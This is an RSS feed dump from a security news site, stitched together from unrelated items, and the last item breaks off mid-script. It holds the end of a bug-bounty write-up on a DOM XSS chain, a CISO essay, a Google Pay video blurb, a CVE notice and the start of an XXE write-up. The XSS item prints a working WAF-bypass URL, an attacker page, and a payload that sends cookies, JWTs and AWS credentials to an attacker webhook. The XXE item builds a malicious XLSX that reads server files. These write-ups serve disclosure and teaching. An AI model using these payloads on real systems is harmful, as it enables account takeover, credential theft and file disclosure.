403. After about eighty probes I stopped trying variants and started looking at the data differently. I wrote down what every blocked payload had in common, and separately what every passing payload had in common.</p><p>The passing ones:</p><pre>javascript:top[name](1) → 200<br>javascript:[name].forEach(top[name]) → 200<br>javascript:Promise.resolve(name).then(top[name]) → 200<br>javascript:Reflect.apply(top[name],null,[1]) → 200</pre><p>Every blocked payload had a JavaScript keyword sitting directly adjacent to an opening parenthesis. alert(, eval(, Function(, setTimeout(. Every passing payload had some non-whitespace token between the keyword and the paren. Akamai’s rule appeared to be a regex matching keyword immediately followed by a paren, with optional whitespace in between. Insert anything else between the keyword and the call and the rule never fires.</p><h3>3. The Payload</h3><p>The winning payload was :</p><pre>javascript:top["setTimeout"](name)</pre><p><em>top[“setTimeout”] </em>is property-access syntax. Akamai sees no keyword adjacent to a paren, so the request passes with HTTP 200. The browser resolves top[“setTimeout”] to window.setTimeout. Then it calls it with window.name as the argument. setTimeout with a string argument evaluates that string as JavaScript, same behavior as eval, without the word eval appearing anywhere in the URL.</p><p>What makes this composable is what <strong>window.name</strong> actually is. It’s a per-tab string property that survives cross-origin navigation. When a user follows a link from attacker.example.com to the target application, the tab’s window.name carries over. It’s not governed by the same-origin policy. It belongs to the tab, not the document. So I set window.name to any JavaScript I want on my own page, then redirect the user to the vulnerable error URL. The payload is never in the URL, never inspected by Akamai. The URL contains only the harmless-looking dispatcher.</p><p>The attacker page is four lines:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;&lt;body&gt;<br>&lt;script&gt;<br>window.name = "alert('XSS in ' + document.domain)";<br>location.href =<br>"https://app.[target].com/[feature]/error/clock-sync"<br>+ "?backURL=javascript:top%5B%22setTimeout%22%5D(name)";<br>&lt;/script&gt;<br>&lt;/body&gt;&lt;/html&gt;</pre><p>Victim lands on the attacker page, gets redirected to a real application URL, sees a <em>“Time Sync Error”</em> page with a Reload Page button, and <strong>clicks it</strong>. JavaScript executes in the target origin. Confirmed from a live run:</p><pre>[XSS-FIRED] alert: XSS in app.[target].com cookie=[session]=…</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*_osiOoYxPpI6pOCZ1NMMxw.png"></figure><h3>4. The SDK</h3><p>Arbitrary code execution in the target origin is already a serious finding. But the application loads something that turns it into a much bigger problem.</p><p>Every page on this platform loads two SDK bundles from the platform’s own CDN. Together they install a global authentication object on the window with 21 methods. The ones that matter here:</p><pre>[platform].core.iam.getAuthSession() // full session metadata + profile<br>[platform].core.iam.getJWTToken() // signed platform JWT<br>[platform].core.iam.getTempAWSCreds(domain) // live AWS STS temporary credentials<br>[platform].core.iam.getCatapultId() // Cognito identity pool ID</pre><p>These methods make credentialed XHR calls back to the platform’s IAM endpoints with credentials included. The browser attaches the session cookie to those requests automatically, even if the cookie is HttpOnly. The SDK functions return the IAM responses directly to the calling JavaScript.</p><p><strong>The SDK is the cookie.</strong> You don’t need to read document.cookie. You call getTempAWSCreds() and it comes back with an access key ID, a secret, and a session token. The platform exposes two different AWS domains to standard user accounts. Two separate AWS accounts.</p><h3>5. The Chain</h3><p>The payload that runs inside the target origin once window.name is evaluated:</p><pre>(async function() {<br>var h = 'https://[ATTACKER-WEBHOOK]';<br>var send = function(label, data) {<br>return fetch(h, {<br>method: 'POST', mode: 'no-cors',<br>headers: {'Content-Type': 'text/plain'},<br>body: JSON.stringify({ label: label, origin: document.domain, cookies: document.cookie, data: data })<br>});<br>};<br>await send('handshake', 'fired in ' + document.domain);<br>var s = [platform].core.iam.getAuthSession();<br>await send('session', s);<br>await send('jwt', await [platform].core.iam.getJWTToken());<br>await send('aws_a', await [platform].core.iam.getTempAWSCreds('[aws-domain-a]'));<br>await send('aws_b', await [platform].core.iam.getTempAWSCreds('[aws-domain-b]'));<br>}());</pre><p>The attacker page that delivers it. The payload above is serialized into window.name as a plain string, then the victim is redirected. Since window.name persists across navigations, it arrives intact in the target origin where setTimeout evaluates it.</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;&lt;body&gt;<br>&lt;script&gt;<br>window.name = "(async function(){ /* payload above */ }())";<br>location.href =<br>"https://app.[target].com/[feature]/error/clock-sync"<br>+ "?backURL=javascript:top%5B%22setTimeout%22%5D(name)";<br>&lt;/script&gt;<br>&lt;/body&gt;&lt;/html&gt;</pre><p>I ran this against my own test account. Nine POSTs <strong>hit the webhook</strong> in 8 seconds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Poy5ue-iFeXbfYJI-5IQag.png"></figure><p>The session object came back with the <strong>full profile</strong>: first name, username, account namespace, account type, plus a session UUID. <strong>The JWT</strong> was 1488 characters, RS256, signed by the platform’s auth service, accepted as bearer credentials at every platform API for roughly 15 minutes. Its decoded payload included the victim’s legal name, email, home address, graduation date, and cohort year, all regulated education records, potentially belonging to a minor.</p><p>Then <strong>the AWS credentials</strong>. The first set resolved to a named user IAM role in one AWS account. The second set, confirmed by a different key ID prefix and a distinct account identifier in the token metadata, came from a completely separate AWS account. Both arrived from a single javascript: URL, via a button labeled <em>“Reload Page,”</em> on a page that looked entirely legitimate.</p><h3>6. Four Bugs, Not One</h3><p>The chain works because four things fail at the same time, each independently.</p><p>The first is the <strong>sink</strong> itself. The error page reads backURL from the query string and passes it directly to window.location.assign without checking the scheme. The fix is straightforward: parse the value with new URL() and reject anything whose protocol field isn’t https. That one change kills the entire chain regardless of what the WAF does or doesn’t do.</p><p>The second is the <strong>WAF rule.</strong> Akamai’s pattern matches a keyword directly adjacent to an opening paren. It has no awareness of property-access syntax, so top[“setTimeout”], where the keyword appears inside a string accessed via bracket notation, doesn’t trigger it. A rule that rejects any request URL whose scheme is javascript: outright, regardless of the surrounding syntax, would close this. But as I found over eighty probes, a regex-based keyword-paren rule has a structural hole.</p><p>The third is <strong>window.name</strong>. This is documented browser behavior. window.name is intentionally cross-origin, a design decision from before postMessage existed, when developers needed a way to pass data across frames. There’s no browser-level fix for this. The only mitigation is making sure the application sink isn’t exploitable in the first place, because once the sink is gone there’s nothing for the smuggling channel to deliver to.</p><p>The fourth is the <strong>auth SDK</strong>. When a platform loads authentication logic as a global object on every page, any XSS anywhere in its wildcard scope becomes a full credential theft, not just a session hijack. Cookie flags are irrelevant when the SDK makes credentialed requests on your behalf and returns the credentials directly to the executing script. The payload sitting in window.name, all 1896 characters of it, never appeared in the request that passed through Akamai. The URL that did pass through was clean.</p><h3>Takeways</h3><p>The useful thing was not the string.</p><p>The useful thing was the model.</p><blockquote>When every encoding trick returns 403, probing more variants is usually the wrong level of work. <strong>Model the rule</strong>. The key observation was not “this payload works.” It was “the blocked payloads all have keyword-call adjacency, and the passing payloads all break that adjacency.”</blockquote><p>window.name remains worth keeping in mind for javascript URL sinks because it separates transport from payload. The WAF sees the dispatcher. The tab carries the code.</p><p>Global auth SDKs change XSS severity. If the page exposes methods that mint JWTs, temporary AWS credentials, signed API requests, or profile objects, the question is no longer only “can I steal the cookie?” The better question is what the platform already exposes to JavaScript after login.</p><p>The reload button did exactly what the developers asked it to do. It reloaded the user toward a URL from the query string.</p><p>The browser supplied the rest.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=6c1a7095f8e1" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/chaining-a-dom-xss-sink-waf-bypass-cross-origin-smuggling-and-sdk-abuse-into-one-click-account-6c1a7095f8e1">Chaining a DOM XSS Sink, WAF Bypass, Cross-Origin Smuggling, and SDK Abuse into One Click Account…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The modern CISO is becoming the next CFO]]></title>
<description><![CDATA[At some point, every security leader gets asked a version of the same question: Are we good? It tends to arrive when something is at stake and the person asking needs to know they can rely on the answer.



I learned what that question really means at a firm I was with earlier in my career. We ha...]]></description>
<link>https://tsecurity.de/de/3650974/it-security-nachrichten/the-modern-ciso-is-becoming-the-next-cfo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650974/it-security-nachrichten/the-modern-ciso-is-becoming-the-next-cfo/</guid>
<pubDate>Tue, 07 Jul 2026 11:09:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>At some point, every security leader gets asked a version of the same question: <em>Are we good?</em> It tends to arrive when something is at stake and the person asking needs to know they can rely on the answer.</p>



<p>I learned what that question really means at a firm I was with earlier in my career. We had received intelligence that threat actors were preparing to go after financial services firms over the holidays, counting on skeleton staffing and slower response times. We had procedures for exactly that kind of heightened alert, and we ran them. The moment that stayed with me came in a hallway. The head of business stopped me and asked, plainly, “Are we good?” He was not asking for a status report on our controls or a walkthrough of our incident response plan. He wanted a seasoned leader to look at him and say, with conviction, that we were good.</p>



<p>That instinct, the need for someone accountable enough to say “we’re good” and mean it, sits at the center of a debate the cybersecurity industry keeps having: Whether the CISO role has become unsustainable. The list of responsibilities continues to grow. Security leaders are expected to oversee cyber resilience, regulatory compliance, third-party risk, business continuity, AI governance, incident response and an ever-more-complex threat landscape. Boards, regulators, customers and investors simultaneously demand greater visibility into cyber risk than ever before.</p>



<p>The conclusion many people draw from this expansion is that the traditional CISO role can no longer work. If no single person can realistically master every domain that falls under modern cybersecurity, perhaps the role itself has become obsolete.</p>



<p>I believe the opposite is true. The modern CISO is disappearing from one version of itself and re-emerging as something larger. It is undergoing the same evolution the CFO role experienced over the last two decades.</p>



<p>Historically, CFOs were viewed primarily as financial operators. Their responsibilities centered on accounting, reporting, controls, audits and budgeting. As businesses grew larger, more global, more regulated and more dependent on technology, that model changed. The CFO evolved from a finance specialist into a strategic executive responsible for shaping enterprise-wide decisions. <a href="https://www.mckinsey.com/~/media/McKinsey/Business%20Functions/Strategy%20and%20Corporate%20Finance/Our%20Insights/The%20evolution%20of%20the%20CFO/The-evolution-of-the-CFO-vF.pdf?">McKinsey documented</a> this shift, finding that the number of functions reporting to CFOs had expanded significantly, and that business leaders had come to see them as critical drivers of change across the enterprise, not just stewards of the balance sheet.</p>



<p>Nobody looked at that expanding mandate and concluded the CFO role was becoming irrelevant. They recognized that finance had become more important to the business.</p>



<p>The same thing is happening in cybersecurity. For years, security was treated as a technical discipline operating on the periphery of the organization. Today, a significant cyber incident can halt operations, disrupt revenue, trigger regulatory scrutiny, damage customer trust and move markets. Cyber risk has become business risk, and that shift fundamentally changes what a CISO is for. Security leaders increasingly sit on enterprise risk committees alongside their peers, and regulators are paying far closer attention to how security is built into the design of products and systems from the outset. Both are signs that security has moved from a back-office function into the room where business risk gets decided.</p>



<p>The data reflects how much the role has already changed. According to <a href="https://www.helpnetsecurity.com/2026/02/27/splunk-ciso-liability-risk-report/">Splunk’s 2026 CISO Report</a>, nearly all CISOs now count AI governance and risk management among their core responsibilities. Seventy-eight percent report personal liability concerns tied to security incidents, up from 56% just a year ago. The role now carries individual legal exposure alongside operational accountability. That is a description of an executive function, full stop.</p>



<p>Modern security leaders are now expected to help boards understand risk, participate in strategic planning, navigate regulatory obligations, oversee resilience programs and establish governance around emerging technologies like artificial intelligence. These responsibilities extend well beyond traditional security operations, and the job has grown considerably faster than the organizational structures supporting it.</p>



<p>Some companies have responded by building larger, more specialized security leadership teams. <a href="https://www.securityweek.com/ciso-conversations-are-microsofts-deputy-cisos-a-signpost-to-the-future/">Microsoft’s Secure Future Initiative</a> is the most prominent example. The company established a Cybersecurity Governance Council led by a Global CISO, with over a dozen Deputy CISOs appointed across major security domains including engineering, AI, cloud services, gaming and government systems. It represents one of the largest security transformations in the industry, involving thousands of engineers and a governance structure built to coordinate security across a genuinely sprawling organization.</p>



<p>Some observers read structures like this as evidence that the traditional CISO model is breaking down. Look closer and you see the opposite. Microsoft expanded the organization supporting security leadership rather than dismantling it. Centralized accountability remains with a global CISO while execution is distributed across specialized leaders and teams.</p>



<p>This is exactly what mature executive functions look like at scale. Large enterprises do not eliminate CFOs when finance grows more complex. They add controllers, treasury leaders, FP&amp;A organizations and investor relations teams. Complexity does not eliminate executive accountability. It deepens the need for it.</p>



<p>There is shared, organization-wide security: the SOC, vulnerability management and the other services the entire firm depends on. Then there is business-line security, led by deputy or business-unit CISOs whose job is to make sure their individual units are protected. Those embedded leaders drive requirements into the shared services and provide independent oversight of them, while staying close enough to their business to understand what it actually needs. One central executive owns the whole picture, with specialized leaders carrying it into every corner of the organization.</p>



<p>One structural point follows directly from this: The CISO should never report to the CTO. The person accountable for security should not sit underneath the person accountable for building and shipping technology, because those two mandates can pull in different directions. Security belongs under the COO, the CRO or the CEO, where it can speak to risk independently and be heard.</p>



<p>AI is accelerating this evolution further. Organizations are deploying autonomous systems capable of making recommendations, triggering workflows and acting at machine speed. What AI cannot do is own the decisions behind those actions. Someone still has to determine what can be delegated to machines, establish governance frameworks, define acceptable risk and answer for those choices to regulators, boards and shareholders. In most organizations, that someone is the CISO.</p>



<p>The most practical place to start is a simple principle: every AI action should trace back to an accountable human. Framed that way, we are not delegating decisions to AI at all. We are putting machines to work while keeping a person answerable for what they do. That principle forces accountability to live somewhere specific in the organization rather than dissolving into the system.</p>



<p>This is worth sitting with: AI may strengthen the case for executive security leadership rather than weaken it. For years, CISOs governed human behavior inside organizations. Now they govern human and machine behavior simultaneously, a mandate with no obvious ceiling.</p>



<p>The cybersecurity industry keeps asking whether the CISO role can survive the demands being placed on it. The better question is whether organizations are adapting their leadership structures fast enough to support where the role is already heading.</p>



<p>The future of security leadership is unlikely to be a loose collection of specialists operating without clear ownership. It will more closely resemble other mature executive functions, with specialized leaders operating under a single accountable executive who understands how risk connects to the business as a whole. As cyber risk becomes inseparable from business risk, that executive becomes indispensable.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Dynamic Callbacks on Android for Google Pay]]></title>
<description><![CDATA[Author: Google for Developers - Bewertung: 0x - Views:5 Learn about the new dynamic callbacks feature available for Google Pay on Android, designed to enhance your checkout experiences. We’ll dive into the mechanics of listening and responding to user modifications—such as shipping address or shi...]]></description>
<link>https://tsecurity.de/de/3649907/videos/dynamic-callbacks-on-android-for-google-pay/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649907/videos/dynamic-callbacks-on-android-for-google-pay/</guid>
<pubDate>Mon, 06 Jul 2026 23:33:36 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Google for Developers - Bewertung: 0x - Views:5 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/WZvd1tUreTY?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Learn about the new dynamic callbacks feature available for Google Pay on Android, designed to enhance your checkout experiences. We’ll dive into the mechanics of listening and responding to user modifications—such as shipping address or shipping option changes—directly within the native checkout sheet in real-time, highlighting callbacks like onPaymentDataChanged and onPaymentAuthorized. Developers will find clear explanations and an example of implementing these secure callbacks to dynamically update pricing, adjust taxes, and execute secure inline payment authorizations before the transaction completes, ensuring a seamless purchasing experience for their users.<br />
<br />
Resources: <br />
Get started → https://goo.gle/pay-android-dpu<br />
<br />
Connect with us:<br />
Join the conversation in the #payments channel on Discord → https://goo.gle/payments-dev-community<br />
Watch more Live Google Pay integrations on Android → https://goo.gle/live-google-pay <br />
Follow @GooglePayDevs on X for more content like this → https://goo.gle/GooglePayDevs  <br />
Subscribe to Google for Developers → https://goo.gle/developers  <br />
<br />
Get support: <br />
<br />
For assistance with your implementation, create a support ticket from the Google Pay & Wallet Console → https://goo.gle/4hSy658 <br />
<br />
Subscribe to Google for Developers → https://goo.gle/developers  <br />
<br />
Speaker: Dominik Mengelt<br />
Products Mentioned: Google Pay<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-44936 | SUSE Rancher up to 0.12.14/0.13.10/0.14.5/0.15.1 Bundle Reader fleet.yaml helmRepoURLRegex incorrect regex (EUVD-2026-41863)]]></title>
<description><![CDATA[A vulnerability identified as problematic has been detected in SUSE Rancher up to 0.12.14/0.13.10/0.14.5/0.15.1. This affects an unknown part of the file fleet.yaml of the component Bundle Reader. Performing a manipulation of the argument helmRepoURLRegex results in incorrect regular expression.
...]]></description>
<link>https://tsecurity.de/de/3648871/sicherheitsluecken/cve-2026-44936-suse-rancher-up-to-012140131001450151-bundle-reader-fleetyaml-helmrepourlregex-incorrect-regex-euvd-2026-41863/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3648871/sicherheitsluecken/cve-2026-44936-suse-rancher-up-to-012140131001450151-bundle-reader-fleetyaml-helmrepourlregex-incorrect-regex-euvd-2026-41863/</guid>
<pubDate>Mon, 06 Jul 2026 15:40:26 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability identified as <a href="https://vuldb.com/kb/risk">problematic</a> has been detected in <a href="https://vuldb.com/product/suse:rancher">SUSE Rancher up to 0.12.14/0.13.10/0.14.5/0.15.1</a>. This affects an unknown part of the file <em>fleet.yaml</em> of the component <em>Bundle Reader</em>. Performing a manipulation of the argument <em>helmRepoURLRegex</em> results in incorrect regular expression.

This vulnerability is known as <a href="https://vuldb.com/cve/CVE-2026-44936">CVE-2026-44936</a>. Remote exploitation of the attack is possible. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[ISA VDA 6.0.3 (part 5) — Information Security Sheet: Supplier Relationships, Compliance]]></title>
<description><![CDATA[This is the part 5 of the series about the TISAX label: TISAX getting started: A Deep Dive into the ISA Assessment Workbook (part 1).   ISA VDA 6.0.3 (part 5) — Information Security Sheet: Supplier Relationships, Compliance   Chapter…
Read more →
The post ISA VDA 6.0.3 (part 5) — Information Secu...]]></description>
<link>https://tsecurity.de/de/3648137/it-security-nachrichten/isa-vda-603-part-5-information-security-sheet-supplier-relationships-compliance/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3648137/it-security-nachrichten/isa-vda-603-part-5-information-security-sheet-supplier-relationships-compliance/</guid>
<pubDate>Mon, 06 Jul 2026 10:08:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is the part 5 of the series about the TISAX label: TISAX getting started: A Deep Dive into the ISA Assessment Workbook (part 1).   ISA VDA 6.0.3 (part 5) — Information Security Sheet: Supplier Relationships, Compliance   Chapter…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/isa-vda-6-0-3-part-5-information-security-sheet-supplier-relationships-compliance/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/isa-vda-6-0-3-part-5-information-security-sheet-supplier-relationships-compliance/">ISA VDA 6.0.3 (part 5) — Information Security Sheet: Supplier Relationships, Compliance</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The File That Answered Back — XXE Hidden in Cell A2]]></title>
<description><![CDATA[Most people know XXE. Few think to look for it inside a spreadsheet upload. But beneath every .xlsx is really a ZIP archive full of XML, and the parser reading it doesn’t always know where to stop. This is the writeup of finding one that didn’t, and what it quietly handed back.The WallThe first t...]]></description>
<link>https://tsecurity.de/de/3647966/hacking/the-file-that-answered-back-xxe-hidden-in-cell-a2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3647966/hacking/the-file-that-answered-back-xxe-hidden-in-cell-a2/</guid>
<pubDate>Mon, 06 Jul 2026 08:53:00 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O29aTyx3TXMUBqM2BvQ3eA.png"></figure><blockquote>Most people know XXE. Few think to look for it inside a spreadsheet upload. But beneath every .xlsx is really a ZIP archive full of XML, and the parser reading it doesn’t always know where to stop. This is the writeup of finding one that didn’t, and what it quietly handed back.</blockquote><h3>The Wall</h3><p><em>The first thing I discovered wasn’t a vulnerability. It was a pattern.</em></p><p>Almost every asset was behind the same wall: Imperva, a web application firewall so common in enterprise deployments that you almost expect it now. On its own, a WAF isn’t an ending. It’s a conversation. You probe, you learn what it blocks and how, you find the shape of the rules. But this one was doing something specific that changed the entire character of the hunt. <em>It was blocking the word `DOCTYPE`.</em></p><p>Not entire payloads. Not suspicious looking XML structures. Just the presence of that one keyword, anywhere inside a POST body, was enough to return a 403 before the request ever touched any application. For context: `DOCTYPE` is the entry point for XML External Entity injection, the vulnerability class that lets you instruct an XML parser to read files off the server’s filesystem and hand them back to you. Without `DOCTYPE`, that entire attack surface disappears.</p><p>I confirmed this across the program’s Japanese portals, Korean WebLogic applications, Brazilian upload forms, AEM content management systems. Every time, a 403. The wall held.</p><h3>Learning to Read a Name</h3><p>The assets in one particular region felt different from the start. Different infrastructure, different cloud providers, different WAF signatures. And among them, one domain resolved to an Alibaba Cloud IP with an F5 load balancer behind it. No Imperva signature in any response header. No `incap` cookies. No bot-detection challenges. <em>The wall wasn’t there</em>.</p><p>What was there was a URL path I had to look at twice.</p><pre>/[REDACTED]/personal/CombineExcelUpload</pre><p>I’ve learned over time that endpoint names are often the most honest thing about a web application. Developers name things after what they do. And this name said three things at once: it accepts Excel files, it uploads them, and it <em>combines</em>, meaning it doesn’t just store the file, it reads it. The name of the endpoint was practically a confession of the vulnerability class.</p><p><strong>`CombineExcelUpload`. Server-side Excel processing. No authentication required.</strong></p><h3>The Thing About Spreadsheets</h3><p>Here is something that took me a while to really internalize, and now I think about it almost every time I see a file upload endpoint.</p><p><strong>An XLSX file is not a spreadsheet. Not at the parser level.</strong></p><p>An XLSX file is a ZIP archive containing a structured set of XML documents, defined by the Office Open XML (OOXML) standard. Open any `.xlsx` file with a ZIP extractor and you’ll find a whole internal world: folders, XML files, namespace declarations, hiding inside something that looks like a simple grid of numbers. The architecture looks like this:</p><pre>document.xlsx  (it's actually a ZIP)<br>│<br>├── [Content_Types].xml        ← declares MIME types for every internal part<br>├── _rels/<br>│   └── .rels                  ← links the package root to the workbook<br>└── xl/<br>    ├── workbook.xml            ← defines the workbook and its sheets<br>    ├── _rels/<br>    │   └── workbook.xml.rels   ← links the workbook to its sheet files<br>    └── worksheets/<br>        └── sheet1.xml          ← the actual cell data  ←  this is where we live</pre><p>Every file in that tree is XML. And the one that contains your cell values, `xl/worksheets/sheet1.xml`, is parsed by whichever XML library the server uses to read the spreadsheet.</p><p>If that library has external entity resolution enabled (which is the <strong>default</strong> in older .NET codebases, because the insecure behavior is the default, not the exception) then you can put something inside `sheet1.xml` that the parser was never meant to see. A declaration that says: *before you read this cell’s value, go open this file on the filesystem and put its contents here instead.*</p><p>The mechanism, written out plainly:</p><pre>XML parser reads sheet1.xml<br>  → encounters &lt;!DOCTYPE&gt; with external entity declaration<br>  → entity points to file:///C:/windows/win.ini<br>  → parser opens that file, reads its content<br>  → substitutes the content in place of &amp;xxe; inside the &lt;v&gt; tag<br>  → application reads the cell value<br>  → application returns it in the JSON response<br>  → the file content is now in your terminal</pre><p>That’s the whole chain. It uses the system exactly as designed, just with an input the designer never imagined someone would give it.</p><h3>The First Test: Does It Reflect?</h3><p>Before building any payload, I asked a simpler question. Does this endpoint actually read the cell content and return it? Or does it just accept the file and store it somewhere opaque?</p><p>I built the most minimal valid XLSX I could, nothing malicious, just a proper ZIP structure with a single cell containing the string `TestValue`, and uploaded it:</p><pre>curl -s -X POST "https://[REDACTED]/[REDACTED]/CombineExcelUpload" \<br>  -H "Referer: https://[REDACTED]/[REDACTED]/index" \<br>  -F "excelFile=@test.xlsx;type=application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"</pre><p>The response came back:</p><pre>{"uploadResult":"TestValue","responseCode":"1"}</pre><p>The endpoint read the cell. The endpoint returned the cell. The reflection was there.</p><p>That moment is quieter than you’d expect. There’s no alarm, no flashing light. Just a JSON field containing a word you put into a spreadsheet, coming back to you from a server you don’t control. It’s small. But it means everything, because it tells you the machinery is in place. The application is actively parsing the file and surfacing its contents. Which means if we control what the parser puts into that cell, we control what appears in the response.</p><h3>Building the Payload: From the Inside Out</h3><p>This is the part I want to be specific about, because it’s where most writeups wave their hand and say “craft a malicious XLSX.” The detail matters.</p><p>An XLSX file must be a valid ZIP archive with all five required files present, or the parser will reject it as malformed before it ever touches the worksheet XML. That means building the payload from scratch. Not modifying an existing spreadsheet, not using automated tools that produce broken structure, but assembling each piece by hand.</p><p>Here is what goes in each file :</p><blockquote><strong>`[Content_Types].xml`:</strong> the package manifest. Declares what MIME type each internal file represents. Without this, the parser doesn’t know what it’s looking at</blockquote><pre>&lt;?xml version="1.0" encoding="UTF-8" standalone="yes"?&gt;<br>&lt;Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"&gt;<br>  &lt;Default Extension="rels"<br>    ContentType="application/vnd.openxmlformats-package.relationships+xml"/&gt;<br>  &lt;Default Extension="xml" ContentType="application/xml"/&gt;<br>  &lt;Override PartName="/xl/workbook.xml"<br>    ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/&gt;<br>  &lt;Override PartName="/xl/worksheets/sheet1.xml"<br>    ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/&gt;<br>&lt;/Types&gt;</pre><blockquote><strong>`_rels/.rels`:</strong> the root relationship file. Tells the parser the main document in this package is `xl/workbook.xml`.</blockquote><pre>&lt;?xml version="1.0" encoding="UTF-8" standalone="yes"?&gt;<br>&lt;Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"&gt;<br>  &lt;Relationship Id="rId1"<br>    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument"<br>    Target="xl/workbook.xml"/&gt;<br>&lt;/Relationships&gt;</pre><blockquote><strong>`xl/workbook.xml`:</strong> the workbook definition. Declares one sheet named Sheet1, linked by relationship ID `rId1`.</blockquote><pre>&lt;?xml version="1.0" encoding="UTF-8" standalone="yes"?&gt;<br>&lt;workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/ml/2006/main"<br>          xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"&gt;<br>  &lt;sheets&gt;<br>    &lt;sheet name="Sheet1" sheetId="1" r:id="rId1"/&gt;<br>  &lt;/sheets&gt;<br>&lt;/workbook&gt;</pre><blockquote><strong>`xl/_rels/workbook.xml.rels`:</strong> links `rId1` in the workbook to the actual sheet file.</blockquote><pre>&lt;?xml version="1.0" encoding="UTF-8" standalone="yes"?&gt;<br>&lt;Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"&gt;<br>  &lt;Relationship Id="rId1"<br>    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet"<br>    Target="worksheets/sheet1.xml"/&gt;<br>&lt;/Relationships&gt;</pre><blockquote><strong>`xl/worksheets/sheet1.xml`: </strong>this is the payload. The `DOCTYPE` declaration at the top defines an external entity named `xxe` whose value is the contents of a file on the server. The `&amp;xxe;` reference inside the cell instructs the parser to resolve it.</blockquote><pre>&lt;?xml version="1.0" encoding="UTF-8" standalone="yes"?&gt;<br>&lt;!DOCTYPE foo ..(Syntax -&gt; `[&lt;!` (medium Prevent the full code here*)) ENTITY xxe SYSTEM "file:///C:/windows/win.ini"&gt;]&gt;<br>&lt;worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/ml/2006/main"&gt;<br>  &lt;sheetData&gt;<br>    &lt;row r="1"&gt;&lt;c r="A1" t="str"&gt;&lt;v&gt;PolicyNo&lt;/v&gt;&lt;/c&gt;&lt;/row&gt;<br>    &lt;row r="2"&gt;&lt;c r="A2" t="str"&gt;&lt;v&gt;&amp;xxe;&lt;/v&gt;&lt;/c&gt;&lt;/row&gt;<br>  &lt;/sheetData&gt;<br>&lt;/worksheet&gt;</pre><p>A few choices here worth explaining. The `DOCTYPE foo` element name is arbitrary. It just needs to be a valid XML name. Cell A1 contains benign data to make the file look like a legitimate upload. Cell A2 is where the exfiltrated content will land. The `t=”str”` attribute declares it as a string type, which matters because numeric cell types get processed differently and can break the substitution.</p><p>The target file, `C:\windows\win.ini`, was chosen deliberately for the first proof: it’s world-readable on all Windows versions, it’s short, and critically, it contains **no XML special characters** (`&lt;`, `&gt;`, `&amp;`). Files that contain those characters break the outer XML document when substituted inline. The parser treats them as XML syntax rather than cell data, throws a parse error, and the read fails silently. `win.ini`, `system.ini`, and `hosts` are all safe targets for initial confirmation. `web.config` is not.</p><h3>The Exploit Time</h3><p>To turn the structure described above into a live test, I wrote a script that assembled all five XML files, packed them into a valid ZIP with an `.xlsx` extension, and posted the result to the upload endpoint in a single pass.</p><p>The four support files ([Content_Types].xml, .rels, workbook.xml, workbook.xml.rels) are static boilerplate that never change between reads. The only file that varies is `sheet1.xml`, where the target path gets injected at the `ENTITY` declaration:</p><pre>## Construct from Building the Payload segment<br>...<br>...<br>TARGET_FILE = "file:///C:/windows/win.ini"<br>sheet1 = f"""&lt;?xml version="1.0" encoding="UTF-8" standalone="yes"?&gt;<br>&lt;!DOCTYPE foo ..(Syntax -&gt; `[&lt;!` (medium Prevent the full code here*)) ENTITY xxe SYSTEM "{TARGET_FILE}"&gt;]&gt;<br>&lt;worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/ml/2006/main"&gt;<br>  